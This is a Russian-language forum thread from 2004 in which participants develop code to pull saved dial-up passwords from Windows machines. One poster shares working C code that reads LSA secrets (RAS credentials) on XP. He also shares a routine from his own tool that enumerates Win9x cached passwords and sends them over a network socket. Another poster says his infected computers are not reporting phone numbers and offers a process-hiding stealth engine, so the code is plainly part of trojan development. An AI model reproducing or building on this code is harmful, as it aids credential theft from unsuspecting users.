информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Сетевые кракеры и правда о деле ЛевинаПортрет посетителяАтака на Internet
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Дорога должна вести, в конце концов, к Protected Storage. 28.09.04 13:48  Число просмотров: 940
Автор: HandleX <Александр М.> Статус: The Elderman
<"чистая" ссылка> <обсуждение закрыто>
<programming>
[C++] Dialup Passwords XP HELP !!! 27.09.04 13:59  
Автор: Tamas Статус: Member
<"чистая" ссылка> <обсуждение закрыто>
Нужен пример получения диалап паролей в XP ???
re 28.09.04 18:43  
Автор: hello_world Статус: Незарегистрированный пользователь
Отредактировано 28.09.04 18:46  Количество правок: 1
<"чистая" ссылка> <обсуждение закрыто>


мышой сюда ткни
5 баллов, это то что надо :-))) родина тебя не забудит... 28.09.04 22:12  
Автор: Tamas Статус: Member
<"чистая" ссылка> <обсуждение закрыто>
А у тебя заработало? Там вроде грязный хак, завязаный на поиск кода в процессе... На разных версиях может не работать. 29.09.04 09:29  
Автор: HandleX <Александр М.> Статус: The Elderman
<"чистая" ссылка> <обсуждение закрыто>
[Win32] каму интересно, вот так это делается 29.09.04 15:54  
Автор: Tamas Статус: Member
Отредактировано 29.09.04 16:00  Количество правок: 2
<"чистая" ссылка> <обсуждение закрыто>
RetrieveLSASecrets возвращает данные из Protected Storage по ключу L$_RasDefaultCredentials#0 в этом клуче хранятся пароли сохранёные для всех пользователей, поля в Data разделены по 0x00

пароли для каждого пользователя в одельнасти хранятся по ключу
RasDialParams!S-1-5-21-1454471165-113007714-1708537768-1003#0
где S-1-5-21-1454471165-113007714-1708537768-1003 идентефикатор пользователля

и вот ещё вопрос к публике как получить лист таких ид по всем пользователям ???

PS примного блогодарен hello_world за ценный линк :-))

OS WinXP 5 1 2600
Lcc-Win32

#include <windows.h>
#include <ntsecapi.h>
#include <stdbool.h>

bool RetrieveLSASecrets(unsigned char *KeyName,unsigned char *Data,unsigned long *DataSize,unsigned long DataMaxSize);

int main()
{
unsigned char Data[255];
unsigned char DataSize;

RetrieveLSASecrets("L$_RasDefaultCredentials#0",&Data,&DataSize,sizeof(Data));

return 0;
}

bool RetrieveLSASecrets(unsigned char *KeyName,unsigned char *Data,unsigned long *DataSize,unsigned long DataMaxSize)
{
void *HAdvapi32;

typedef NTSTATUS NTAPI(*LPLSAOPENPOLICY)(PLSA_UNICODE_STRING,PLSA_OBJECT_ATTRIBUTES,ACCESS_MASK,PLSA_HANDLE);
typedef NTSTATUS NTAPILPLSARETRIEVEPRIVATEDATA)(LSA_HANDLE,PLSA_UNICODE_STRING,PLSA_UNICODE_STRING;
typedef NTSTATUS NTAPI(*LPLSACLOSE)(LSA_HANDLE);
typedef NTSTATUS NTAPI(*LPLSAFREEMEMORY)(PVOID);

LPLSAOPENPOLICY LsaOpenPolicyLF;
LPLSARETRIEVEPRIVATEDATA LsaRetrievePrivateDataLF;
LPLSACLOSE LsaCloseLF;
LPLSAFREEMEMORY LsaFreeMemoryLF;

LSA_OBJECT_ATTRIBUTES Attr;
LSA_HANDLE hPolicy;
LSA_UNICODE_STRING LsaKeyName;
PLSA_UNICODE_STRING pResult;

HAdvapi32=LoadLibrary("advapi32.dll");
if(HAdvapi32==NULL)return false;

LsaOpenPolicyLF=(LPLSAOPENPOLICY)GetProcAddress(HAdvapi32,"LsaOpenPolicy");
if(LsaOpenPolicyLF==NULL)return false;

LsaRetrievePrivateDataLF=(LPLSARETRIEVEPRIVATEDATA)GetProcAddress(HAdvapi32,"LsaRetrievePrivateData");
if(LsaRetrievePrivateDataLF==NULL)return false;

LsaCloseLF=(LPLSACLOSE)GetProcAddress(HAdvapi32,"LsaClose");
if(LsaCloseLF==NULL)return false;

LsaFreeMemoryLF=(LPLSAFREEMEMORY)GetProcAddress(HAdvapi32,"LsaFreeMemory");
if(LsaFreeMemoryLF==NULL)return false;

ZeroMemory(&Attr,sizeof(Attr));
ZeroMemory(&LsaKeyName,sizeof(LsaKeyName));
LsaKeyName.Buffer=LocalAlloc(LMEM_FIXED,strlen(KeyName)*sizeof(unsigned short));

MultiByteToWideChar(CP_ACP,0,KeyName,-1,LsaKeyName.Buffer,strlen(KeyName)*sizeof(unsigned short));
LsaKeyName.Length=lstrlenW(LsaKeyName.Buffer)*sizeof(unsigned short);
LsaKeyName.MaximumLength=(lstrlenW(LsaKeyName.Buffer)+1)*sizeof(unsigned short);

LsaOpenPolicyLF(NULL,&Attr,POLICY_ALL_ACCESS,&hPolicy);
if(hPolicy==NULL)return false;

LsaRetrievePrivateDataLF(hPolicy,&LsaKeyName,&pResult);
if(pResult==NULL)return false;

(*DataSize)=(pResult->Length/sizeof(unsigned short));
WideCharToMultiByte(CP_ACP,0,pResult->Buffer,(*DataSize),Data,DataMaxSize,NULL,NULL);

LsaCloseLF(hPolicy);
LsaFreeMemoryLF(pResult);
LocalFree(LsaKeyName.Buffer);
FreeLibrary(HAdvapi32);

return true;
}
re 29.09.04 17:34  
Автор: hello_world Статус: Незарегистрированный пользователь
Отредактировано 29.09.04 17:39  Количество правок: 1
<"чистая" ссылка> <обсуждение закрыто>
> пароли для каждого пользователя в одельнасти хранятся по
> ключу
> RasDialParams!S-1-5-21-1454471165-113007714-1708537768-1003
> #0
> где S-1-5-21-1454471165-113007714-1708537768-1003
> идентефикатор пользователля
>
> и вот ещё вопрос к публике как получить лист таких ид по
> всем пользователям ???

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

ЗЫ Че-то форум глючит, тема постоянно заменяется на какую-то х#ню. Это только у меня?
Классно, давно эта тема витала в воздухе. Троянщики будут очень рады ;-) 29.09.04 17:09  
Автор: HandleX <Александр М.> Статус: The Elderman
<"чистая" ссылка> <обсуждение закрыто>
да заработало, хотя надо ещё покавырятся 29.09.04 12:00  
Автор: Tamas Статус: Member
<"чистая" ссылка> <обсуждение закрыто>
да заработало, хотя надо ещё покавырятся
когда полнастю разберусь скину код
re 29.09.04 17:49  
Автор: hello_world Статус: Незарегистрированный пользователь
Отредактировано 29.09.04 17:55  Количество правок: 1
<"чистая" ссылка> <обсуждение закрыто>
> да заработало, хотя надо ещё покавырятся
> когда полнастю разберусь скину код

Ну раз уж ты взялся за это дело, то найди где еще в виндах (кроме RASENTRY) можно прописать телефон, а то у меня с половины зараженных компов телефоны не приходят.
Еще неплохо бы предусмотреть кражу паролей в Win9x и невидимость в Process32Next/FindNextFile/RegEnumValues (если надо, могу дать тебе свой стелс-движок).

Я бы сам взялся, но сейчас я пишу свою вещь, да еще эта @$#ная работа...
Вобщем если ты это сделаешь, многие будут благодарны :)
нащёт телефонов начиная с NT 4 получить можно от суда... 29.09.04 18:34  
Автор: Tamas Статус: Member
<"чистая" ссылка> <обсуждение закрыто>
> > да заработало, хотя надо ещё покавырятся
> > когда полнастю разберусь скину код
>
> Ну раз уж ты взялся за это дело, то найди где еще в виндах
> (кроме RASENTRY) можно прописать телефон, а то у меня с
> половины зараженных компов телефоны не приходят.
> Еще неплохо бы предусмотреть кражу паролей в Win9x и
> невидимость в Process32Next/FindNextFile/RegEnumValues
> (если надо, могу дать тебе свой стелс-движок).
>
> Я бы сам взялся, но сейчас я пишу свою вещь, да еще эта
> @$#ная работа...
> Вобщем если ты это сделаешь, многие будут благодарны :)

нащёт телефонов начиная с NT 4 получить можно от суда RasGetEntryProperties
win9x от суда RasGetEntryDialParams
а вобше win 5.x С:\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Pbk\rasphone.pbk

Process32Next это конечьно хорошо но не каких реальных идей уменя пока нет

нащёт win9x тут всё старо как мир вот кусок кода из моеё софтины
bool GetPwl(SOCKET Socket)
{
int index;
unsigned char buf[4096];

if(OsVerInfo.dwPlatformId==1)
{
if(GetCachePasswords())
{
strcpy(buf,"\r\nThe system passwords\r\n\r\n");
send(Socket,buf,strlen(buf),0);

for(index=0;index<cacheindex;++index)
{
wsprintf(buf,"Resource %s\r\nPassword \"%s\"\r\n",cacheres[index],cachepass[index]);
send(Socket,buf,strlen(buf),0);
}
}
else
{
return false;
}
}
else
{
wsprintf(buf,"\r\nSorry function is not support in system");
send(Socket,buf,strlen(buf),0);
}

return true;
}

bool CALLBACK PassEntry(LPPASSWORD_CACHE_ENTRY p,unsigned long temp)
{
memcpy(cacheres[cacheindex],p->abResource,p->cbResource);
memcpy(cachepass[cacheindex],p->abResource+p->cbResource,p->cbPassword);

cacheres[cacheindex][p->cbResource]=0;
cachepass[cacheindex][p->cbPassword]=0;

++cacheindex;

return true;
}

bool GetCachePasswords()
{
typedef unsigned long(WINAPI RegisterServiceProcess)(unsigned long,unsigned long);
typedef unsigned short(WINAPI WNetEnumCachedPasswords)(char *,unsigned short,unsigned char,void*,unsigned long);
typedef WNetEnumCachedPasswords *LPWNETENUMCACHEDPASSWORDS;

int index;

HINSTANCE hmpr;
LPWNETENUMCACHEDPASSWORDS lpecp;

if(hmpr=LoadLibrary("MPR.DLL"))
{
lpecp=(LPWNETENUMCACHEDPASSWORDS)GetProcAddress(hmpr,"WNetEnumCachedPasswords");

if(lpecp)
{
cacheindex=0;

lpecp(0,0,0xFF,PassEntry, 0);
}
else
{
return false;
}

FreeLibrary(hmpr);

return true;
}

return false;
}
До меня дошло. 29.09.04 19:03  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка> <обсуждение закрыто>
До меня дошло.
Телефон может быть здесь:

RASENTRY.szLocalPhoneNumber

и здесь:

RASDIALPARAMS.szPhoneNumber

в мсдн кстати так и написано:

szPhoneNumber
Specifies a string that contains an overriding phone number. An empty string ("") indicates that the phone-book entry's phone number should be used. If szEntryName is "", szPhoneNumber cannot be "".

Движок завтра вывешу.
Уточни, plz. Получение паролей откуда? Может тебя интересует генерирование паролей для последующей раздачи пользователям? 27.09.04 16:17  
Автор: Den <Denis> Статус: The Elderman
<"чистая" ссылка> <обсуждение закрыто>
Скорее всего, ему нужно пароли "вытаскивать" ;-) 27.09.04 16:38  
Автор: HandleX <Александр М.> Статус: The Elderman
<"чистая" ссылка> <обсуждение закрыто>
Дык вот в XP с этим "проблема" — вернее, их можно вытащить, но... точно таким же макаром, как и пароли, запоминаемые XP при брожении по Интернету.

Пароли на DiulUp хранятся в ProtectedStorage, им рулятся, и так просто не выдёргиваются.

Я слышал, что это как-то можно. Но не так просто, как раньше, через функции RAS.
вобше всё ведёт суда 27.09.04 19:55  
Автор: Tamas Статус: Member
<"чистая" ссылка> <обсуждение закрыто>
> Дык вот в XP с этим "проблема" — вернее, их можно вытащить,
> но... точно таким же макаром, как и пароли, запоминаемые XP
> при брожении по Интернету.
>
> Пароли на DiulUp хранятся в ProtectedStorage, им рулятся, и
> так просто не выдёргиваются.
>
> Я слышал, что это как-то можно. Но не так просто, как
> раньше, через функции RAS.

вобше всё ведёт суда
c:\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Pbk\rasphone.pbk
тут хранятся настройки всех соединений, но паролей там нет, но зато есть вот такая строчька
Guid=CCDD23FDC6EE25499A1B0132E22D6DDB
как это понимать это какой то указатель ?
Копать отсюда и до обеда: 27.09.04 20:28  
Автор: Killer{R} <Dmitry> Статус: Elderman
Отредактировано 27.09.04 20:30  Количество правок: 1
<"чистая" ссылка> <обсуждение закрыто>
http://search.microsoft.com/search/results.aspx?qu=pstore&View=msdn&st=b&c=0&s=1&swc=0

Я както из любопытсва хотел туда сунуться но минимум инфы на сайте мс про интерфейс IPStore и отсутствие хедеров с объявленными интерфейсами и структурами вкупе с природной ленью заставили забить на это дело.
Самое интересное что в дереве онлайнового мсдна описание интерфейса PStore теперь Unavailable - как это понимать хз.. Возможно решили спрятать от посторонних глаз от греха подальше Ж)
Кроме того из
http://forums.mozillazine.org/viewtopic.php?t=70783
Можно заключить то что гдето в дербях сырцов firefox есть нужные вещи.
Вроде имеются утилиты которые делают это. Можно попробовать их дизасмить.

ЗЫ Если чего откопаешь поделись, если не жалко будет. Родина тебя не забудет Ж)
дезасемблинуй вот это... 27.09.04 21:08  
Автор: Tamas Статус: Member
<"чистая" ссылка> <обсуждение закрыто>
> http://search.microsoft.com/search/results.aspx?qu=pstore&V
> iew=msdn&st=b&c=0&s=1&swc=0
>
> Я както из любопытсва хотел туда сунуться но минимум инфы
> на сайте мс про интерфейс IPStore и отсутствие хедеров с
> объявленными интерфейсами и структурами вкупе с природной
> ленью заставили забить на это дело.
> Самое интересное что в дереве онлайнового мсдна описание
> интерфейса PStore теперь Unavailable - как это понимать
> хз.. Возможно решили спрятать от посторонних глаз от греха
> подальше Ж)
> Кроме того из
> http://forums.mozillazine.org/viewtopic.php?t=70783
> Можно заключить то что гдето в дербях сырцов firefox есть
> нужные вещи.
> Вроде имеются утилиты которые делают это. Можно попробовать
> их дизасмить.
>
> ЗЫ Если чего откопаешь поделись, если не жалко будет.
> Родина тебя не забудет Ж)

дезасемблинуй вот это http://www.nirsoft.net/utils/dialupass2.zip и родина тебя точьно не забудит
я бы и сам рад но я в этом не силён :-(
Вообще-то есть волшебные слова... 27.09.04 21:10  
Автор: Den <Denis> Статус: The Elderman
<"чистая" ссылка> <обсуждение закрыто>
Пожалуйста :-) 27.09.04 21:55  
Автор: Tamas Статус: Member
<"чистая" ссылка> <обсуждение закрыто>
Хм.. Похоже оно не юзает pstorec.dll... 28.09.04 11:24  
Автор: Killer{R} <Dmitry> Статус: Elderman
<"чистая" ссылка> <обсуждение закрыто>
нет оно его юзает просто оно грузит функции через... 29.09.04 16:14  
Автор: Tamas Статус: Member
<"чистая" ссылка> <обсуждение закрыто>
нет оно его юзает просто оно грузит функции через LoadLibrary GetProcAddress по этому их и не видно
1  |  2 >>  »  




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach